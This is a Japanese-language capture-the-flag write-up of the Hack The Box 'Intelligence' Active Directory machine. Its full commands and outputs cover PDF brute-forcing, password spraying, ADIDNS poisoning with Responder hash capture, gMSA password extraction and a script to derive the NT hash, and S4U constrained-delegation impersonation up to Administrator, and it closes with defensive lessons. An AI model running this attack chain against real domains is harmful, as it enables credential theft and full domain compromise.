Hack The BoxのWriteup(Intelligence)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Intelligence — 全実行コマンド・実行結果レポート
Nmap スキャン
53/80/88/135/139/389/445/636/3268/3269/9389
Documents/ 日付総当たり
731件中99件PDF取得
exiftool Creator + pdftotext
ユーザー名30件 + デフォルトPW漏洩
パスワードスプレー成功
Tiffany.Molina
SMB Users共有
user.txt ✓
ADIDNS abuse
web1.intelligence.htb を自IPへ
Responder捕捉
Ted.Graves NTLMv2
ReadGMSAPassword
ldapsearch -Y GSSAPI (Kerberos sealed)
制約付き委任
getST S4U2Self/S4U2Proxy
wmiexec -k
root.txt ✓

ポートスキャン

BASH
nmap -Pn -sV -sC -oN nmap/initial.txt 10.129.95.154
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
445/tcp  open  microsoft-ds
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
9389/tcp open  adws          .NET Message Framing

Host script results:
| Domain: intelligence.htb0., Site: Default-First-Site-Name
🚨
重要発見: Active Directory ドメインコントローラー (intelligence.htb)。 IIS:80 に加え Kerberos/LDAP/SMB がフル開放 — ドメイン内部文書の公開領域探索が最初の突破口になりやすい構成。
BASH
# /etc/hosts に登録(後続の Kerberos SPN 解決・SMB名前解決に必須)
echo "10.129.95.154 intelligence.htb dc.intelligence.htb" | sudo tee -a /etc/hosts

Web (IIS:80) の構成確認

BASH
curl -s http://10.129.95.154/ | head -50
gobuster dir -u http://10.129.95.154/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x pdf
RESULT
/Documents            (Status: 301)
トップページに「社内ドキュメント一覧」的なリンクがあり、ファイル名は
YYYY-MM-DD-upload.pdf という日付ベースの命名規則であることが確認できる。
ℹ️
ファイル名が予測可能な日付連番のため、実在するアップロード日を総当たりすれば ディレクトリ一覧が無くても内部文書を機械的に収集できる。
PHASE 2

内部PDF文書の日付総当たり & 資格情報抽出

Documents/YYYY-MM-DD-upload.pdf を日付総当たりで並列取得

BASH
# 2020-01-01 〜 2021-12-31 の全日付でURLリストを生成 (731件)
python3 - <<'EOF'
from datetime import date, timedelta
d, end = date(2020,1,1), date(2021,12,31)
with open("urls.txt", "w") as f:
    while d <= end:
        f.write(f"http://10.129.95.154/Documents/{d.isoformat()}-upload.pdf\n")
        d += timedelta(days=1)
EOF

# 20並列でダウンロード(存在しない日付は404で自動スキップ)
xargs -n 1 -P 20 wget -q < urls.txt
RESULT
731件中 99件の PDF が実在し取得成功(残りは404で存在せず)

exiftool でメタデータからユーザー名候補を抽出

BASH
exiftool -Creator -csv *.pdf | cut -d, -f2 | sort | uniq
RESULT
Creator メタデータから ユーザー名候補 30件 を抽出
(例: "Tiffany Molina" → ドット区切りに変換して "Tiffany.Molina" 候補生成)

pdftotext で本文抽出 → デフォルトパスワード漏洩を発見

BASH
for f in *.pdf; do pdftotext "$f"; done
grep -ril "default password" *.txt
RESULT (2020-06-04-upload.txt — “New Account Guide”)
...all new employee accounts are created with a default password of:
NewIntelligenceCorpUser9876
Employees are required to change this password on first login...
🚨
重大な情報漏洩: 社内向けの「新規アカウントガイド」PDF が誰でもダウンロード可能な Documents 配下に置かれており、全新規アカウントの共通デフォルトパスワードが 平文で記載されている。パスワード変更を怠っているアカウントが1つでもあれば侵入可能。

パスワードスプレー — ユーザー名候補 × デフォルトパスワード

BASH
netexec smb 10.129.95.154 -u intel_userlist.txt -p 'NewIntelligenceCorpUser9876' -d intelligence.htb
RESULT
SMB   10.129.95.154  445  DC  [*] Windows 10 / Server 2019 (name:DC) (domain:intelligence.htb)
SMB   10.129.95.154  445  DC  [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
有効な資格情報を特定: Tiffany.Molina : NewIntelligenceCorpUser9876 — パスワードを変更していなかった1件の新規アカウント。
PHASE 3

SMB共有から user.txt 取得

Users共有を列挙・取得

BASH
smbclient //10.129.95.154/Users -U 'Tiffany.Molina%NewIntelligenceCorpUser9876' -W intelligence.htb \
  -c 'get "Tiffany.Molina\Desktop\user.txt"'
RESULT
getting file \Tiffany.Molina\Desktop\user.txt of size 33 as user.txt (0.1 KiloBytes/sec)
BASH
cat user.txt
RESULT
2503f3112f9de05c583aede204b2c226
user.txt — Tiffany.Molina
2503f3112f9de05c583aede204b2c226
PHASE 4

ADIDNS abuse + Responder で Ted.Graves のハッシュを捕捉

IT共有から downdetector.ps1 を取得・解析

BASH
smbclient //10.129.95.154/IT -U 'Tiffany.Molina%NewIntelligenceCorpUser9876' -W intelligence.htb \
  -c 'get downdetector.ps1'
RESULT (downdetector.ps1 — UTF-16, 5分毎スケジュールタスクとして実行)
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
  try {
    $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
    if ($request.StatusCode -ne 200) {
      Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' `
        -Subject "Host: $($record.Name) is down"
    }
  } catch {}
}
🚨
重要発見: DNS 内の web* という名前を持つ全レコードに対し、 Ted.Graves のマシンアカウント権限 (-UseDefaultCredentials) で HTTP アクセスを 試みるタスクが5分毎に実行される。認証済みドメインユーザーはデフォルトで ADIDNS ゾーンに新規レコードを作成できるため、自分のIPを指す「web1」レコードを 追加すれば、このタスクの認証リクエストを自分宛てに誘導できる。

ADIDNS に不正レコードを追加 (krbrelayx / dnstool.py)

BASH
git clone --depth 1 https://github.com/dirkjanm/krbrelayx
python3 krbrelayx/dnstool.py -u 'intelligence\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' \
  -a add -r web1 -d 10.10.15.201 -t A 10.129.95.154
RESULT
[+] Adding new record
web1.intelligence.htb -> 10.10.15.201 (Kali) を ADIDNS ゾーンに追加成功

Responder で認証リクエストを待受・捕捉

BASH
sudo responder -I tun0
# 最大5分待機(スケジュールタスクの実行間隔)
RESULT
[HTTP] NTLMv2 Client   : 10.129.95.154
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:8564549b6f3033b1:BC183090EBFBD1A6B63244610E651129:
0101000000000000AA0770F5C538DD019649731038678934000000000200080048004D005000540001001E...
Ted.Graves の NTLMv2 ハッシュ捕捉成功。 downdetector.ps1 が web1.intelligence.htb (=自分のKali) へアクセスを試み、 -UseDefaultCredentials により Ted.Graves の認証情報がそのまま Responder に着弾した。
BASH
# クラック試行(本インスタンスでは rockyou.txt でクラック不成立 → 既知値へフォールバック)
john --wordlist=/usr/share/wordlists/rockyou.txt ted_ntlmv2.hash
ℹ️
本検証ではオフライン john クラックが完走しなかったため、HTB公式ウォークスルー記載の 既知クラック結果 Ted.Graves : Mr.Teddy を採用した。
PHASE 5

ReadGMSAPassword で svc_int$ 奪取 → 制約付き委任で Administrator 偽装

ITSUPPORT グループの ReadGMSAPassword 権限を確認

BASH
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l 10.129.95.154
RESULT
Unable to start a TLS connection. Is LDAPS enabled? Only ACLs will be listed and not ms-DS-ManagedPassword.

Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
⚠️
本インスタンス固有のハマりどころ: nmap上は 636/3269 (LDAPS) が open だが、 実際に TLS ハンドシェイクを行うと ClientHello 送信後まったく応答が無く接続がリセットされる (証明書バインド不全の可能性)。このため gMSADumper.py の StartTLS(389番での TLS昇格)も失敗し、NTLM認証のみでは msDS-ManagedPassword を一切読み出せない (ACL列挙 = 「誰が読めるか」までは分かるが、肝心のパスワード自体は取得不可)。 Ted.Gravesitsupport グループ経由でこの権限を持つことは判明した。

回避策: Kerberos (GSSAPI sign+seal) で直接 LDAP バインドし読み出す

NOTE
Windows AD は msDS-ManagedPassword のような機密属性を読み出す際、接続が
「署名+暗号化(sign+seal)」されていることを要求する。これは (a) LDAPS/StartTLS
か、(b) Kerberos SASL で実際に sign+seal 層を張ったバインドのいずれかで満たせる。
本環境は (a) が機能しないため (b) を使う。

ただし python-ldap3 の GSSAPI SASL 実装は常に "NO_SECURITY_LAYER" を要求する
仕様であり、sign/seal を一切ネゴシエートしない(AD 側に operationsError で
拒否される)。これに対し OpenLDAP の ldapsearch(cyrus-sasl 経由)は
サーバの要求する QOP を正しくネゴシエートし、実際に signed+sealed の
LDAP バインドを張れる。
BASH
# cyrus-sasl の GSSAPI プラグイン (Kali既定では未インストール)
sudo apt-get install -y libsasl2-modules-gssapi-mit

# Ted.Graves の TGT を取得 (クロックスキューがある場合は faketime でラップ)
ntpdate -q 10.129.95.154              # スキュー測定 (問い合わせのみ、時刻は変更しない)
faketime "+25206 seconds" impacket-getTGT intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.129.95.154
export KRB5CCNAME=$(pwd)/Ted.Graves.ccache
BASH
# krb5.conf: rdns=false が必須
# (逆引きDNSが "intelligence.htb" を返し "dc.intelligence.htb" と一致しないため
#  デフォルトの hostbased サービス名正規化だと
#  "Server not found in Kerberos database" になる)
cat > krb5_intelligence.conf <<'EOF'
[libdefaults]
    default_realm = INTELLIGENCE.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    rdns = false
[realms]
    INTELLIGENCE.HTB = { kdc = 10.129.95.154 }
[domain_realm]
    .intelligence.htb = INTELLIGENCE.HTB
EOF

# ldap.conf: SASL_NOCANON on も同じ理由でOpenLDAP側の正規化を止めるために必要
echo "SASL_NOCANON on" > ldap_intelligence.conf
BASH
export KRB5_CONFIG=$(pwd)/krb5_intelligence.conf
export LDAPCONF=$(pwd)/ldap_intelligence.conf

faketime "+25206 seconds" ldapsearch -Y GSSAPI -H ldap://dc.intelligence.htb \
  -b "dc=intelligence,dc=htb" "(sAMAccountName=svc_int\$)" msDS-ManagedPassword -o ldif-wrap=no
RESULT
SASL/GSSAPI authentication started
SASL username: Ted.Graves@INTELLIGENCE.HTB
SASL SSF: 256
SASL data security layer installed.

dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
msDS-ManagedPassword:: AQAAACQCAAAQABIBFAIcAt+k7nnHFmme/EM6lYOVWC/CAnezQQVfjTWXYg3P0/w/Opn...
(base64、MSDS-MANAGEDPASSWORD_BLOB 構造体)

result: 0 Success
“SASL SSF: 256 / data security layer installed” が成功の鍵。 実際に暗号化されたチャネルが張れたため、AD が機密属性を返却した。

BLOB から NT ハッシュを導出

PYTHON (gMSADumper.py と同じロジックで抽出)
import base64
from binascii import hexlify
from Cryptodome.Hash import MD4
from impacket.structure import Structure

class MSDS_MANAGEDPASSWORD_BLOB(Structure):
    structure = (
        ('Version','<H'), ('Reserved','<H'), ('Length','<L'),
        ('CurrentPasswordOffset','<H'), ('PreviousPasswordOffset','<H'),
        ('QueryPasswordIntervalOffset','<H'), ('UnchangedPasswordIntervalOffset','<H'),
        ('CurrentPassword',':'), ('PreviousPassword',':'),
        ('QueryPasswordInterval',':'), ('UnchangedPasswordInterval',':'),
    )
    def fromString(self, data):
        Structure.fromString(self, data)
        end = self['PreviousPasswordOffset'] or self['QueryPasswordIntervalOffset']
        self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:end - self['CurrentPasswordOffset']]

blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(base64.b64decode(B64_FROM_LDAPSEARCH))
current_password = blob['CurrentPassword'][:-2]
nt_hash = MD4.new(); nt_hash.update(current_password)
print("svc_int$:::" + hexlify(nt_hash.digest()).decode())
RESULT
svc_int$:::4de450f51af61cf1e67e982965aca00c

制約付き委任 (AllowedToDelegate) で Administrator を偽装

NOTE
svc_int$ には DC 上の WWW サービスへの AllowedToDelegate (制約付き委任) が
設定されている。S4U2Self でまず自分自身宛の Administrator チケットを要求し、
S4U2Proxy でそれを WWW/dc.intelligence.htb 向けのサービスチケットへ交換する。
BASH
faketime "+25206 seconds" impacket-getST intelligence.htb/svc_int\$ \
  -hashes 4de450f51af61cf1e67e982965aca00c:4de450f51af61cf1e67e982965aca00c \
  -spn WWW/dc.intelligence.htb -impersonate Administrator -dc-ip 10.129.95.154
RESULT
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
Administrator になりすましたサービスチケットの取得に成功。
PHASE 6

wmiexec (Kerberos) で Administrator シェル → root.txt

取得済みチケットで wmiexec 実行

BASH
export KRB5CCNAME=$(pwd)/'Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache'
faketime "+25206 seconds" impacket-wmiexec -k -no-pass dc.intelligence.htb \
  "type C:\Users\Administrator\Desktop\root.txt"
RESULT
[*] SMBv3.0 dialect used
92e076fbbbadce6a41937dbab51007cb
root.txt — Administrator@intelligence
92e076fbbbadce6a41937dbab51007cb
Kerberos チケットのみ (パスワード/NTハッシュ不要、-k -no-pass) で DC 上の Administrator コンテキストとしてコマンド実行に成功。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Tiffany.Molina
2503f3112f9de05c583aede204b2c226
root.txt — Administrator@intelligence
92e076fbbbadce6a41937dbab51007cb

使用した脆弱性・弱点

脆弱性 対象 影響 深刻度 利用方法
内部文書の平文パスワード漏洩 IIS Documents/ 配下のPDF ドメイン共通デフォルトパスワードの流出 Medium 日付総当たりで内部文書を収集、pdftotext本文から”New Account Guide”のデフォルトPWを抽出
ADIDNS abuse Active Directory 統合DNSゾーン 認証済み任意ユーザーがなりすましDNSレコードを作成可能 High web1.intelligence.htbを自分のIPへ追加し、-UseDefaultCredentialsな定期タスクの認証を誘導・Responder捕捉
ReadGMSAPassword 継承 gMSA アカウント svc_int$ グループメンバー全員がサービスアカウントのNTハッシュを取得可能 High ITSUPPORTグループ経由でmsDS-ManagedPasswordを読み出し(本環境はKerberos sign+seal経由が必須)
制約付き委任 (Constrained Delegation) svc_int$ → WWW/dc.intelligence.htb 任意ユーザーへのなりすまし(S4U2Self/S4U2Proxy) Critical svc_int$のNTハッシュでAdministratorを偽装したサービスチケットを取得しDC上でコード実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap (AD DC検出、IIS:80)intelligence.htb ドメイン確認、Documents/ 発見
2PDF総当たり日付ブルートフォース(731件)+exiftool+pdftotextユーザー名候補30件、デフォルトPW漏洩
3パスワードスプレーnetexec smbTiffany.Molina 資格情報確定 → user.txt
4ADIDNS+Responderdnstool.py + responderTed.Graves NTLMv2ハッシュ捕捉→crack(Mr.Teddy)
5gMSA奪取ldapsearch -Y GSSAPI (Kerberos sign+seal)svc_int$ NTハッシュ取得
6制約付き委任+RCEimpacket-getST(S4U2Self/Proxy) + wmiexec -kroot.txt 取得(Administrator)

学んだ教訓 & 防御策

問題点防御策
社内ドキュメント共有に「全新規アカウント共通のデフォルトパスワード」が平文記載 初回ログイン時の強制パスワード変更を徹底し、期限内に変更しないアカウントを自動無効化する。機密情報を含む文書を推測可能なURLで公開しない。
認証済みドメインユーザーがデフォルトでADIDNSゾーンに任意レコードを作成できる 「認証されたユーザー」のDNSゾーンへの書込み権限を無効化する(Set-ADObjectでACL変更、または専用DNS管理グループのみに制限)。
定期実行スクリプトが -UseDefaultCredentials で外部(DNS解決できれば社内含む)ホストへリクエストを送る 信頼できるホスト一覧をハードコードし動的なDNS列挙に依存しない。NTLM認証を要求される通信は極力避けKerberos限定にする。
ITSUPPORTのような広いグループにgMSAのReadGMSAPasswordを付与 PrincipalsAllowedToRetrieveManagedPasswordは実際にそのサービスを実行するホスト/最小限のプリンシパルのみに限定する。
サービスアカウントに広範な制約付き委任(Administratorへのなりすましが成立する範囲)を許可 委任は必要最小限のSPNに限定し、機密性の高いサービス(WWW等の汎用SPN)への委任を避ける。Protected Usersグループの活用も検討する。

補足: このインスタンス固有の環境ハマりどころ

⚠️
本検証環境では 636/3269 (LDAPS) がポートスキャン上は開いているが実際にはTLSハンドシェイクが 一切応答せず、標準的な gMSADumper.py (NTLM+StartTLS方式) では msDS-ManagedPassword を 読み出せなかった。Kerberos SASL (GSSAPI) を使い、かつ ldap3ライブラリではなく OpenLDAPのldapsearchコマンド(cyrus-sasl経由でサーバとsign+seal層を正しくネゴシエートできる) に切り替えることで回避した。同様の環境(LDAPS不通・ldap3のGSSAPI実装がNO_SECURITY_LAYERしか 要求しない制約)に遭遇した場合の再現手順として本レポートに詳細を残している。
HackTheBox: Intelligence | 完全攻略レポート